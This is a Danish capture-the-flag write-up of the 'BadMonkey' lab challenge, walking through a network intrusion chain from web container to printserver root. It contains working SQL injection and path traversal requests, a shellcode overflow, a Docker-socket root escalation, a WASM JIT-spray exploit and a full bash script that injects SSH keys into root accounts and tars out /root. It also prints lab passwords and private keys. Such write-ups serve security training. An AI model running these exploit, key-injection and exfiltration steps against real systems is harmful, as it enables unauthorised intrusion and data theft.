BadMonkey CTF Writeup

Start

Vi har fået en VM fra https://hackerakademi.dk/challenge.

Find VM’en

VM’en har IP: 192.168.122.114

Port Scanning

❯ nmap -p- 192.168.122.114
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2200/tcp open  ici
2222/tcp open  EtherNetIP-1
5355/tcp open  llmnr

Tre SSH-lignende-porte (22, 2200, 2222). Port 80 er altid et godt sted at starte.


Webservice (Port 80)

❯ curl http://192.168.122.114

En login-side til “Secure Vault”. En kommentar fra Pamela giver os et hint:

<!--
    TODO: Check for vulnerabilities before deploying!

    I ran this "Secure Vault" through our security scanner and uh...
    let's just say calling it "secure" is doing some HEAVY lifting!

    This AI-generated masterpiece might have more holes than swiss cheese.
    I counted at least 2 potential vulns before my coffee got cold.

    But sure, ship it to prod on a Friday, what could go wrong?

    - pamela
    P.S. If you're reading this in a breach report... I TOLD YOU SO
-->

Pamela siger der er mindst 2 vulnerabilities. Lad os finde dem.

SQL Injection

Siden har en login-form der poster til /secrets. Vi prøver med tilfældige credentials:

curl -X POST -d "username=bruger&password=kode" http://192.168.122.114/secrets

Fejlbeskeden er for snaksalig: sqlite: no rows in result set

SQLite backend. Så lad os prøve med SQL injection:

curl -X POST -d "username=admin' OR '1'='1&password=whatever" http://192.168.122.114/secrets

Bingo:

SSH Credentials
Username: user
Password: hunter2
SSH Adgang
❯ ssh user@192.168.122.114
Password: hunter2

Vi er inde. Hostname er 1ee55c34929d - ligner et Docker container ID?

Den anden vulnerability

Pamela nævnte 2 vulnerabilities. Vi fandt SQL injection. Hvad er den anden? robots.txt er kendt for at give hints:

❯ curl http://192.168.122.114/robots.txt
User-agent: *
Disallow: /../

/../ - path traversal hint?

❯ curl http://192.168.122.114/..%2f
<html><body><h1>static</h1><ul>
 <li><a href="id_ed25519.aescbc">id_ed25519.aescbc</a></li>
 <li><a href="webroot">webroot</a></li>
</ul></body></html>

En krypteret SSH-nøgle. Vi henter den:

❯ curl http://192.168.122.114/..%2fid_ed25519.aescbc -o id_ed25519.aescbc
Dekryptering

strings på filen:

❯ strings id_ed25519.aescbc
Key=MD5("AAAAA")]
;hA#w
1Ss\
^T|A;r
<Af0
❯ KEY=$(echo -n "AAAAA" | md5sum | cut -d' ' -f1)
❯ IV=$(head -c 16 id_ed25519.aescbc | xxd -p)
❯ tail -c +17 id_ed25519.aescbc | openssl enc -aes-128-cbc -d -K "$KEY" -iv "$IV" > id_ed25519
❯ chmod 600 id_ed25519
❯ cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBP+Eb68WaGDJi4fR7qLHTdDljzI93OAzseQ7mU70wvzgAAAJhNXsG0TV7B
tAAAAAtzc2gtZWQyNTUxOQAAACBP+Eb68WaGDJi4fR7qLHTdDljzI93OAzseQ7mU70wvzg
AAAEC4QVNx+DQ6LDgAGD4Wmed+UCTbTGfX0D8OtZVyLwh3jU/4RvrxZoYMmLh9HuosdN0O
WPMj3c4DOx5DuZTvTC/OAAAAEnVzZXJAaG9zdGNvbnRhaW5lcgECAw==
-----END OPENSSH PRIVATE KEY-----
❯ grep -v "^-----" id_ed25519 | base64 -d | strings
openssh-key-v1
none
none
ssh-ed25519
ssh-ed25519
4:,8
user@hostcontainer

Det ligner at nøglen er til user på hostcontainer maskinen.

Så der er nok en “hostcontainer” på den anden side af webcontainer.

Kig omkring på webcontainer (1ee55c34929d)

Lad os se hvad der er at finde.

Filer i /home/user

$ ls -la
chat.log
hostconf/
network.md

chat.log

bob: They asked me to look at the bpf service, but I can't access it..
jeff: Are you behind the router?
bob: ...there's a router? What are you talking about?
jeff: You're probably in the wrong part of the network, then.
jeff: Anyway, once you get there, you might need the vxlan vpn thingie I made...
bob: vxlan? I'm not following... can you please explain?
jeff: Yeah, eh, I just gotta get some lunch here..
* jeff has left the chat *
bob: ...damnit jeff

Hints:

network.md

id | subnet           | dhcp        | comments
-- | ---------------- | ----------- | -------------
1  | 192.168.??.??/28 | printserver | wan
41 | 172.17.0.0/24    | docker      | containers
42 | 10.0.42.0/24     | router      | core services
67 | 10.0.67.0/24     | router      | vpn services

Så der er:

.bash_history

docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=172.17.0.1:2376 run --rm -it debian
rm cert.pem key.pem
ssh -p 2222 172.17.0.1
ssh pamela@localhost
su pamela

Interessant:

/etc/group

docker:x:999:pamela
pwpolicy:x:1337:pamela

Pamela er i docker gruppen - det giver adgang til Docker socket. Og gruppe 1337 hedder “pwpolicy”?

hostconf/

$ ls hostconf/
ca.pem
con_ca.cnf
docker.default
makeCert.sh
makeKey.py

CA-certifikatet er her stadig! Måske kan vi rekonstruere de slettede filer?

Hostcontainer Entry

SSH med den dekrypterede nøgle

Vi kan ssh’e fra vores lokale maskine og bruge 192.168.114.122 som proxy jump host. Det tog et par forsøg at gætte 2222 som ssh porten på hostcontainer.

ssh -i id_ed25519 -p 2222 -o ProxyJump=user@192.168.122.114 user@172.17.0.1

Vi er på hostcontainer som user.

Der var også den Docker CA-ting. Lad os udforske begge veje.

Veje til hostcontainer som root

Path traversal nøglen giver os user@hostcontainer. Men vi finder også to veje til root@hostcontainer:

Docker CA Crack (som user)

I hostconf/ mappen (user’s home) finder vi filer til at generere Docker TLS certifikater.

makeKey.py afslører en fejl:

q = sympy.nextprime(p + (2 ^ 1024))

^ i Python er XOR, ikke potens. 2 ^ 1024 = 1026.

q = nextprime(p + 1026) - p og q er tæt på hinanden og Fermats faktoriseringsmetode kan bruges:

[α] user@1ee55c34929d:~$ cd ~/hostconf
[α] user@1ee55c34929d:~$ python3 crack_ca.py
[α] user@1ee55c34929d:~$ ./make_client_cert.sh

Nu kan vi bruge remote Docker TLS API:

[α] user@1ee55c34929d:~$ ssh-keygen -t ed25519 -f mykey -N ""
[α] user@1ee55c34929d:~$ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem \
    -H=172.17.0.1:2376 run -v /:/mnt --rm alpine \
    sh -c "mkdir -p /mnt/root/.ssh && echo '$(cat mykey.pub)' >> /mnt/root/.ssh/authorized_keys"

[α] user@1ee55c34929d:~$ ssh -i mykey -p 2222 root@172.17.0.1
[δ] root@hostcontainer:~$

PAM Backdoor + docker.sock (som pamela)

Hvis vi ikke vil cracke ca er der en anden vej.

Der ligger en mærkelig fil: /usr/lib/x86_64-linux-gnu/security/pam_pamela.so

I /etc/pam.d/common-auth:

auth    sufficient    pam_pamela.so groups=1337

Et custom PAM-modul for gruppe 1337 (pwpolicy). Pamela er i den gruppe.

Efter at reverse-engineere binæren finder vi password-reglerne. Det er strings som afslører fejlbeskeder og bare hovedet mod muren med pamela’s bruger/pass som giver os hints:

Vi konstruerer et password: Mowwnn4?a?4nnwwoM

[α] user@1ee55c34929d:~$ su pamela
Password: Mowwnn4?a?4nnwwoM
[β] pamela@1ee55c34929d:/home/user$ whoami
pamela

Pamela er i docker gruppen, og webcontainer har /var/run/docker.sock mounted.

[β] pamela@1ee55c34929d:/tmp$ ls /var/run/docker.sock
/var/run/docker.sock

[β] pamela@1ee55c34929d:/tmp$ ssh-keygen -t ed25519 -f mykey -N ""
[β] pamela@1ee55c34929d:/tmp$ docker run -v /:/mnt --rm alpine \
    sh -c "mkdir -p /mnt/root/.ssh && echo '$(cat mykey.pub)' >> /mnt/root/.ssh/authorized_keys"

[β] pamela@1ee55c34929d:/tmp$ ssh -i mykey -p 2222 root@172.17.0.1
[δ] root@hostcontainer:~$

Ingen TLS certifikater nødvendige - docker.sock gav direkte adgang.


Hostcontainer Reconnaissance

Vi er nu på hostcontainer (som user eller root afhængig af hvilken vej vi tog).

Netværk

[δ] root@hostcontainer:~$ ip neigh
10.0.42.1 dev if41 lladdr 3e:fd:c2:cb:ee:bf STALE
192.168.249.1 dev host0 lladdr c6:fb:f6:82:34:9d DELAY
172.17.0.2 dev docker0 lladdr 02:42:ac:11:00:02 DELAY
fe80::c4fb:f6ff:fe82:349d dev host0 lladdr c6:fb:f6:82:34:9d router STALE

Vi kan se 10.0.42.0/24 netværket - router-netværket fra network.md.

sudo -l (som user)

[γ] user@hostcontainer:~$ sudo -l
Matching Defaults entries for user on hostcontainer:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User user may run the following commands on hostcontainer:
    (root) NOPASSWD: /usr/bin/apt install *

Interessant - vi kan køre apt install som root. Det er en potentiel privesc-vektor (ondsindet .deb, pre/post-install scripts), men vi har allerede root via Docker CA, så vi går videre.

Router

$ nmap 10.0.42.1
PORT    STATE SERVICE
22/tcp  open  ssh
55/tcp  open  unknown
80/tcp  open  http
666/tcp open  unknown

Fire åbne porte. Port 666 lyder skummelt. Port 55 er ukendt.


Router Entry Exploits

Der er flere veje til router. Vi udforsker dem alle.

BPF Shell (port 666)

Vi husker “bpf service” fra chat.log? Lad os prøve port 666:

nc 10.0.42.1 666

Den venter på input. Vi finder binæren /root/git/bpf/baby-passes-filters og analyserer den.

BPF bytecode indeholder et hardcoded password. Vi ekstraherer det:

Password: channel_oversold_trillion_zoning

$ nc 10.0.42.1 666
channel_oversold_trillion_zoning
#
whoami
root

Root shell på router.

PWN1 (port 55)

Service på port 55 har en stack buffer overflow:

char buf[0x10];               // 16 bytes
fgets(buf, 0x100000, stdin);  // Læser 1MB!
asm("jmp *%rbp");             // Hopper til stack

Programmet er kompileret med executable stack (-Wl,-z,execstack).

jmp *%rbp hopper til adressen gemt i base pointer - som peger på vores buffer efter overflow.

Exploit:

  1. Send 16 bytes padding (fylder buffer)
  2. Efterfulgt af shellcode (dup2 + execve(“/bin/sh”))
  3. rbp peger nu på vores shellcode
  4. jmp *%rbp eksekverer shellcode
[γ] user@hostcontainer:~$ python3 solve.py
[*] Shellcode size: 45 bytes
[*] Total payload: 62 bytes
[*] Connecting to 10.0.42.1:55
[*] Sending payload...
[+] Payload sent! Trying interactive shell...
uid=0(root) gid=0(root) groups=0(root)

(solve.py bygger payload og håndterer socket-forbindelsen)

LCG Password Crack

passwdGen.py i /root/git/pwgen/ bruger en svag LCG:

python3 solve.py        # Generer wordlist
john --format=crypt --wordlist=wordlist.txt hash.txt

Password: X@@z:jO:0C/>T;wD


Router Reconnaissance

Vi er root på router. Hvad kan vi se herfra?

Netværk

Router har to interfaces:

Scanning 10.0.67.0/24

[ε] root@router:~#  nmap 10.0.67.0/24

Hosts fundet:

Host IP Port
wat 10.0.67.102 3000
noted 10.0.67.199 7000
saas 10.0.67.110 -

Loot på router

I /root/git/ finder vi kildekode til diverse services. Interessant fil:

[ε] root@router:~# cat /root/git/vpn/connect.sh
sshpass -p "smirk_september_procedure_washer" ssh -p 2200 vpn@printserver

Et hardcoded password til printserver. Men router kan ikke nå printserver direkte - den er på et andet subnet (192.168.249.0/28).

Vi kan nå printserver fra hostcontainer:

[γ] user@hostcontainer:~$ ssh -p 2200 vpn@192.168.249.1
Password: smirk_september_procedure_washer
[ζ] vpn@printserver:~$ whoami
vpn

Men vpn-brugeren har begrænset adgang. sudo -l viser:

[ζ] vpn@printserver:~$ sudo -l
Matching Defaults entries for vpn on printserver:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty,
    env_keep+=SSH_CONNECTION

User vpn may run the following commands on printserver:
    (root) NOPASSWD: /usr/bin/systemctl restart systemd-nspawn@wat.service
    (root) NOPASSWD: /usr/bin/systemctl restart systemd-nspawn@noted.service
    (root) NOPASSWD: /usr/bin/systemctl restart systemd-nspawn@saas.service
    (root) NOPASSWD: /usr/local/bin/vpn.py

Systemd-nspawn containers!

Kildekode på router

I /root/git/ finder vi kildekode til backend services. Og noget meget interessant i nspawn configs:

# /etc/systemd/nspawn/wat.nspawn
[Files]
Bind=/root

[Exec]
PrivateUsers=no

Bind=/root med PrivateUsers=no! Container root = host root. Hvis vi får RCE i en container, kan vi skrive til printserverens /root.


WAT Service Analyse

WAT (10.0.67.102:3000) er interessant. Det er en web assembly/WASM compiler service.

V8 Patch

I kildekoden finder vi v8.patch:

V(JmpRel, 0xcc, _, "jmp")

void JmpRel(FullDecoder* decoder, int32_t value) {
    __ jmp_rel(value);
}

En custom WASM opcode der emitterer et x86 jmp med attacker-kontrolleret offset. Ingen bounds checking.

JIT Spray Exploit

Vi kan udnytte dette med JIT spraying:

  1. i64.const kompileres til movabs rax, imm64 - vi kontrollerer de 8 bytes
  2. jmp_rel hopper ind midt i instruktionen
  3. CPU’en eksekverer vores bytes som kode

Vi bygger shellcode der skriver en SSH key til /root/.ssh/authorized_keys.

Pga. Bind=/root er containerens /root = printserverens /root.

Exploit Execution

[ε] root@router:~# curl -X POST -H "Content-Type: application/octet-stream" \
    --data-binary @exploit_ssh.wasm \
    http://10.0.67.102:3000/runwasm

Forbindelsen dropper (Node.js processen erstattes af vores shell-kommando).

Printserver Root

SSH-nøglen er nu i printserverens /root/.ssh/authorized_keys:

$ ssh -i exploit_key -p 2200 root@192.168.249.1
[ω] root@printserver:~# whoami
root

Vi er root på printserver.

Loot

[ω] root@printserver:~# cat /root/2022-Q4-sales.txt
SALES 2022 Q4

| Product Name                   | Units Sold | Revenue    | Description                                |
|--------------------------------|------------|------------|--------------------------------------------|
| Monkey food, "Orangutan Dream" | 150,000    | $450,000   | Also eaten by non-orangutans               |
| Monkey food, "Chimp's Choice"  | 85,000     | $340,000   | This one really is only for chimps         |
| Bananas, industrial grade      | 40,000     | $120,000   | Gives the whole operation a sense of scale |
| Apples                         | 4,000      | $1,000     | For the monkeys, and the cafeteria.        |
| Oranges                        | 4,000      | $1,000     | Just normal oranges.                       |
| Quantum Warheads               | 17         | $9,824,101 | Don't let the monkeys near these, again.   |

Det tænker jeg er flaget vi skulle finde.


Opsummering

Credentials

System User Credential Metode
webcontainer user hunter2 SQL Injection
webcontainer pamela Mowwnn4?a?4nnwwoM PAM reverse engineering
hostcontainer user Path traversal key AES decrypt
hostcontainer root Docker CA cert Fermat factorization
router root channel_oversold_trillion_zoning BPF bytecode
router root X@@z:jO:0C/>T;wD LCG crack
printserver vpn smirk_september_procedure_washer -
printserver root WAT exploit key JIT spray

Attack Path

webcontainer (SQL injection)
     |
     v
hostcontainer (path traversal key / Docker CA)
     |
     v
router (BPF shell / PWN1 / LCG crack)
     |
     v
WAT container (JIT spray exploit)
     |
     v
printserver (Bind=/root escape)

Exploits

  1. SQL Injection (SQLite)
  2. Path Traversal
  3. PAM Backdoor
  4. RSA CA Crack (Fermat)
  5. BPF Shell (hardcoded password)
  6. PWN1 (stack overflow)
  7. LCG Crack (weak PRNG)
  8. WAT JIT Spray (unvalidated WASM opcode)
  9. Container Escape (Bind=/root)

Automatisering

Hele attack chain er automatiseret i et enkelt script der kører alle exploits og exfiltrerer data:

./full_chain_standalone.sh [--cleanup] [webcontainer_ip] [output_dir]

Komplet Script

#!/bin/bash
#
# Full Chain: SQL Injection -> Path Traversal -> BPF -> WAT -> Printserver Root
#
# STANDALONE VERSION - Ingen eksterne afhængigheder
#
# Brug: ./full_chain_standalone.sh [--cleanup] [webcontainer_ip] [output_dir]
#
# Krav: curl, openssl, sshpass, ssh-copy-id, ssh, tar, xxd, base64
#
# === EXPLOIT CHAIN OPSUMMERING ===
#
# Step 1: SQL Injection (webcontainer:80)
#         POST /secrets med "admin' OR '1'='1" -> credentials (user:hunter2)
#
# Step 2: SSH Key Upload (webcontainer:22)
#         sshpass + ssh-copy-id -> session key til webcontainer
#
# Step 3: Path Traversal (webcontainer:80)
#         GET /..%2fid_ed25519.aescbc -> krypteret hostcontainer SSH key
#
# Step 4: AES Dekryptering
#         AES-128-CBC, key=MD5("AAAAA"), IV=første 16 bytes
#         -> hostcontainer SSH key (user)
#
# Step 5: BPF Shell (router:666 via hostcontainer)
#         nc 10.0.42.1 666 med password "channel_oversold_trillion_zoning"
#         -> injicerer SSH key til router root
#
# Step 6: WAT WASM Exploit (wat:3000 via router)
#         POST /runwasm med shellcode WASM
#         JIT spray exploit -> execve("/bin/sh", "-c", "echo key >> authorized_keys")
#         Container har Bind=/root -> skriver til printserver's /root
#
# Step 7: Printserver Root (printserver:2200 via hostcontainer)
#         SSH med injiceret key -> tar /root -> exfil
#
# === NETVÆRKSFLOW ===
#
#   Attacker -> webcontainer (192.168.122.114)
#                   |
#                   v (Docker: 172.17.0.1:2222)
#              hostcontainer
#                   |
#                   +---> router (10.0.42.1) ---> wat (10.0.67.102:3000)
#                   |                                    |
#                   |                              [WASM exploit]
#                   |                                    |
#                   |                                    v
#                   +---> printserver (gateway:2200) <---+
#                              |
#                              v
#                         /root exfil
#

set -e

WORKDIR=$(mktemp -d)

# === Embedded exploit filer (base64) ===
EXPLOIT_WASM_B64="AGFzbQEAAAABBAFgAAADAgEABQMBAAEIAQAKUwFRAEEAQsia5oOUxvT1CTcDAEEIQtKQtYyEitT1BjcDAEEQQsiahsKE6tX1BjcDAEEYQsiSmo+DmOT1BjcDAEEgQrD3vKiAkqTIkH83AwDMuX8LC6wBAQBBwAALpAEvYmluL3NoAC1jAAAAAAAAbWtkaXIgLXAgL3Jvb3QvLnNzaDtlY2hvICdzc2gtZWQyNTUxOSBBQUFBQzNOemFDMWxaREkxTlRFNUFBQUFJSVpET1c5eWM0Wmw0VjNNMWhBVHlHdVVicEtZMHZKeFI2emVFRGFFcnFrMSBleHBsb2l0QHdhdCc+Pi9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzAA=="

EXPLOIT_KEY_CONTENT="-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCGQzlvcnOGZeFdzNYQE8hrlG6SmNLycUes3hA2hK6pNQAAAJAlGJ3gJRid
4AAAAAtzc2gtZWQyNTUxOQAAACCGQzlvcnOGZeFdzNYQE8hrlG6SmNLycUes3hA2hK6pNQ
AAAEB08aVFei1tjr/EW/ijfvgTg1vgZcBOscMbFM6J00puyIZDOW9yc4Zl4V3M1hATyGuU
bpKY0vJxR6zeEDaErqk1AAAAC2V4cGxvaXRAd2F0AQI=
-----END OPENSSH PRIVATE KEY-----"

EXPLOIT_PUBKEY="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIZDOW9yc4Zl4V3M1hATyGuUbpKY0vJxR6zeEDaErqk1 exploit@wat"

# Parse argumenter
DO_CLEANUP=false
POSITIONAL=()

while [[ $# -gt 0 ]]; do
    case $1 in
        --cleanup)
            DO_CLEANUP=true
            shift
            ;;
        *)
            POSITIONAL+=("$1")
            shift
            ;;
    esac
done

WEBCONTAINER="${POSITIONAL[0]:-192.168.122.114}"
OUTDIR="${POSITIONAL[1]:-.}"

GREEN='\033[0;32m'
RED='\033[0;31m'
NC='\033[0m'

log() { echo -e "${GREEN}[+]${NC} $1"; }
err() { echo -e "${RED}[-]${NC} $1"; exit 1; }

cleanup() { rm -rf "$WORKDIR"; }
trap cleanup EXIT

# === Targets (relative til webcontainer) ===
HOSTCONTAINER="172.17.0.1"
HOSTCONTAINER_PORT="2222"
ROUTER="10.0.42.1"
WAT="10.0.67.102:3000"
PRINTSERVER_PORT="2200"

# === Hardcoded secrets ===
BPF_PASS="channel_oversold_trillion_zoning"
AES_PASSPHRASE="AAAAA"

# Check dependencies
for cmd in curl openssl sshpass ssh-copy-id ssh tar xxd base64; do
    command -v $cmd &>/dev/null || err "$cmd ikke fundet"
done

# Skriv embedded filer til WORKDIR
echo "$EXPLOIT_KEY_CONTENT" > "$WORKDIR/exploit_key"
chmod 600 "$WORKDIR/exploit_key"

SSH_OPTS="-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR"

echo ""
echo "================================================================"
echo "  Full Chain: Attacker -> Printserver Root (STANDALONE)"
echo "  Target: $WEBCONTAINER"
echo "  SQL Injection -> Path Traversal -> BPF Shell -> WAT Exploit"
echo "================================================================"
echo ""

# === Step 1: SQL Injection -> credentials ===
log "Step 1/7: SQL Injection -> henter credentials..."

SQLI_RESPONSE=$(curl -s -X POST \
    -d "username=admin' OR '1'='1&password=whatever" \
    "http://${WEBCONTAINER}/secrets")

WEB_USER=$(echo "$SQLI_RESPONSE" | grep -oP 'Username: \K[^\n<]+' | tr -d '\r')
WEB_PASS=$(echo "$SQLI_RESPONSE" | grep -oP 'Password: \K[^\n<]+' | tr -d '\r')

[ -n "$WEB_USER" ] && [ -n "$WEB_PASS" ] || err "SQL Injection fejlede"
log "  OK Credentials: $WEB_USER:$WEB_PASS"

# === Step 2: Generer session key og upload til webcontainer ===
log "Step 2/7: Genererer session key og uploader til webcontainer..."
log "  -> sshpass + ssh-copy-id ${WEB_USER}@${WEBCONTAINER}"

ssh-keygen -t ed25519 -f "$WORKDIR/sessionkey" -N "" -q

sshpass -p "$WEB_PASS" ssh-copy-id -i "$WORKDIR/sessionkey.pub" \
    $SSH_OPTS "${WEB_USER}@${WEBCONTAINER}" 2>/dev/null

log "  OK Session key uploadet til webcontainer"

# === Step 3: Path Traversal -> krypteret SSH key ===
log "Step 3/7: Path Traversal -> henter krypteret SSH key..."

curl -s "http://${WEBCONTAINER}/..%2fid_ed25519.aescbc" -o "$WORKDIR/key.enc"
[ -s "$WORKDIR/key.enc" ] || err "Path Traversal fejlede"
log "  OK Hentet id_ed25519.aescbc"

# === Step 4: Dekrypter SSH key ===
log "Step 4/7: Dekrypterer SSH key (AES-CBC, MD5('$AES_PASSPHRASE'))..."

AES_KEY=$(echo -n "$AES_PASSPHRASE" | md5sum | cut -d' ' -f1)
AES_IV=$(head -c 16 "$WORKDIR/key.enc" | xxd -p)
tail -c +17 "$WORKDIR/key.enc" | openssl enc -aes-128-cbc -d -K "$AES_KEY" -iv "$AES_IV" > "$WORKDIR/hostkey"
chmod 600 "$WORKDIR/hostkey"
log "  OK SSH key dekrypteret"

# === Step 5: BPF shell -> router ===
log "Step 5/7: Forbinder til hostcontainer, BPF shell til router..."
log "  -> SSH ${WEB_USER}@${WEBCONTAINER} (session key)"
log "  -> SSH user@${HOSTCONTAINER}:${HOSTCONTAINER_PORT} (decrypted key)"
log "  -> BPF shell ${ROUTER}:666"

# Generer router session key
ssh-keygen -t ed25519 -f "$WORKDIR/routerkey" -N "" -q
ROUTER_PUBKEY=$(cat "$WORKDIR/routerkey.pub")

# Opret midlertidig ssh_config
cat > "$WORKDIR/ssh_config" << EOF
Host webcontainer
    HostName $WEBCONTAINER
    User $WEB_USER
    IdentityFile $WORKDIR/sessionkey
    StrictHostKeyChecking no
    UserKnownHostsFile /dev/null

Host hostcontainer
    HostName $HOSTCONTAINER
    Port $HOSTCONTAINER_PORT
    User user
    IdentityFile $WORKDIR/hostkey
    ProxyJump webcontainer
    StrictHostKeyChecking no
    UserKnownHostsFile /dev/null
EOF

# Send BPF kommandoer
ssh -T -F "$WORKDIR/ssh_config" hostcontainer << ENDSSH
{
    echo '$BPF_PASS'
    sleep 0.3
    echo 'mkdir -p /root/.ssh'
    sleep 0.3
    echo 'chmod 700 /root/.ssh'
    sleep 0.3
    echo 'echo "$ROUTER_PUBKEY" >> /root/.ssh/authorized_keys'
    sleep 0.3
    echo 'chmod 600 /root/.ssh/authorized_keys'
    sleep 0.3
} | nc -q 2 10.0.42.1 666 2>/dev/null
true
ENDSSH

log "  OK Router SSH key injiceret"

# Find printserver IP dynamisk
PRINTSERVER=$(ssh -T -F "$WORKDIR/ssh_config" hostcontainer "ip route show default dev host0 2>/dev/null | awk '{print \$3}'" 2>/dev/null | tr -d '\r\n')
if [ -z "$PRINTSERVER" ]; then
    err "Kunne ikke finde printserver IP fra hostcontainer"
fi
log "  -> Printserver IP: $PRINTSERVER"

# === Step 6: WAT exploit via router ===
log "Step 6/7: Forbinder til router, sender WAT exploit..."
log "  -> SSH root@${ROUTER} (router key)"
log "  -> curl http://${WAT}/runwasm"

cat >> "$WORKDIR/ssh_config" << EOF

Host router
    HostName $ROUTER
    User root
    IdentityFile $WORKDIR/routerkey
    ProxyJump hostcontainer
    StrictHostKeyChecking no
    UserKnownHostsFile /dev/null
EOF

ssh -T -F "$WORKDIR/ssh_config" router \
    "echo $EXPLOIT_WASM_B64 | base64 -d > /tmp/e.wasm && curl -s -X POST -H 'Content-Type: application/octet-stream' --data-binary @/tmp/e.wasm http://${WAT}/runwasm; rm -f /tmp/e.wasm"

log "  OK WAT exploit kørt -> SSH key injiceret på printserver"

# === Step 7: Kopier /root fra printserver ===
log "Step 7/7: Forbinder til printserver, kopierer /root..."
log "  -> SSH root@${PRINTSERVER}:${PRINTSERVER_PORT} (exploit key)"

sleep 1

cat >> "$WORKDIR/ssh_config" << EOF

Host printserver
    HostName $PRINTSERVER
    Port $PRINTSERVER_PORT
    User root
    IdentityFile $WORKDIR/exploit_key
    ProxyJump hostcontainer
    StrictHostKeyChecking no
    UserKnownHostsFile /dev/null
EOF

mkdir -p "$OUTDIR/printserver_root"

ssh -T -F "$WORKDIR/ssh_config" printserver \
    "tar czf - /root 2>/dev/null" | tar xzf - -C "$OUTDIR/printserver_root" --strip-components=1 2>/dev/null || true

log "  OK /root kopieret"

# Gem exploit key til output
echo "$EXPLOIT_KEY_CONTENT" > "$OUTDIR/printserver_root_key"
chmod 600 "$OUTDIR/printserver_root_key"

# === Step 8 (optional): Cleanup ===
if [ "$DO_CLEANUP" = true ]; then
    log "Step 8/8: Cleanup - fjerner injicerede SSH keys..."

    SESSION_PUBKEY=$(cat "$WORKDIR/sessionkey.pub")
    ROUTER_PUBKEY=$(cat "$WORKDIR/routerkey.pub")

    log "  -> Fjerner exploit key fra printserver..."
    ssh -T -F "$WORKDIR/ssh_config" printserver \
        "grep -v '$(echo "$EXPLOIT_PUBKEY" | awk '{print $2}')' /root/.ssh/authorized_keys > /root/.ssh/authorized_keys.tmp && mv /root/.ssh/authorized_keys.tmp /root/.ssh/authorized_keys" 2>/dev/null || true

    log "  -> Fjerner router key fra router..."
    ssh -T -F "$WORKDIR/ssh_config" router \
        "grep -v '$(echo "$ROUTER_PUBKEY" | awk '{print $2}')' /root/.ssh/authorized_keys > /root/.ssh/authorized_keys.tmp && mv /root/.ssh/authorized_keys.tmp /root/.ssh/authorized_keys" 2>/dev/null || true

    log "  -> Fjerner session key fra webcontainer..."
    ssh -T -i "$WORKDIR/sessionkey" $SSH_OPTS "${WEB_USER}@${WEBCONTAINER}" \
        "grep -v '$(echo "$SESSION_PUBKEY" | awk '{print $2}')' ~/.ssh/authorized_keys > ~/.ssh/authorized_keys.tmp && mv ~/.ssh/authorized_keys.tmp ~/.ssh/authorized_keys" 2>/dev/null || true

    log "  OK Cleanup gennemført"
fi

echo ""
echo "================================================================"
echo "  DONE"
echo "================================================================"
echo ""
log "Printserver /root -> $OUTDIR/printserver_root/"
log "SSH key          -> $OUTDIR/printserver_root_key"
if [ "$DO_CLEANUP" = true ]; then
    log "Cleanup          -> SSH keys fjernet fra targets"
fi
echo ""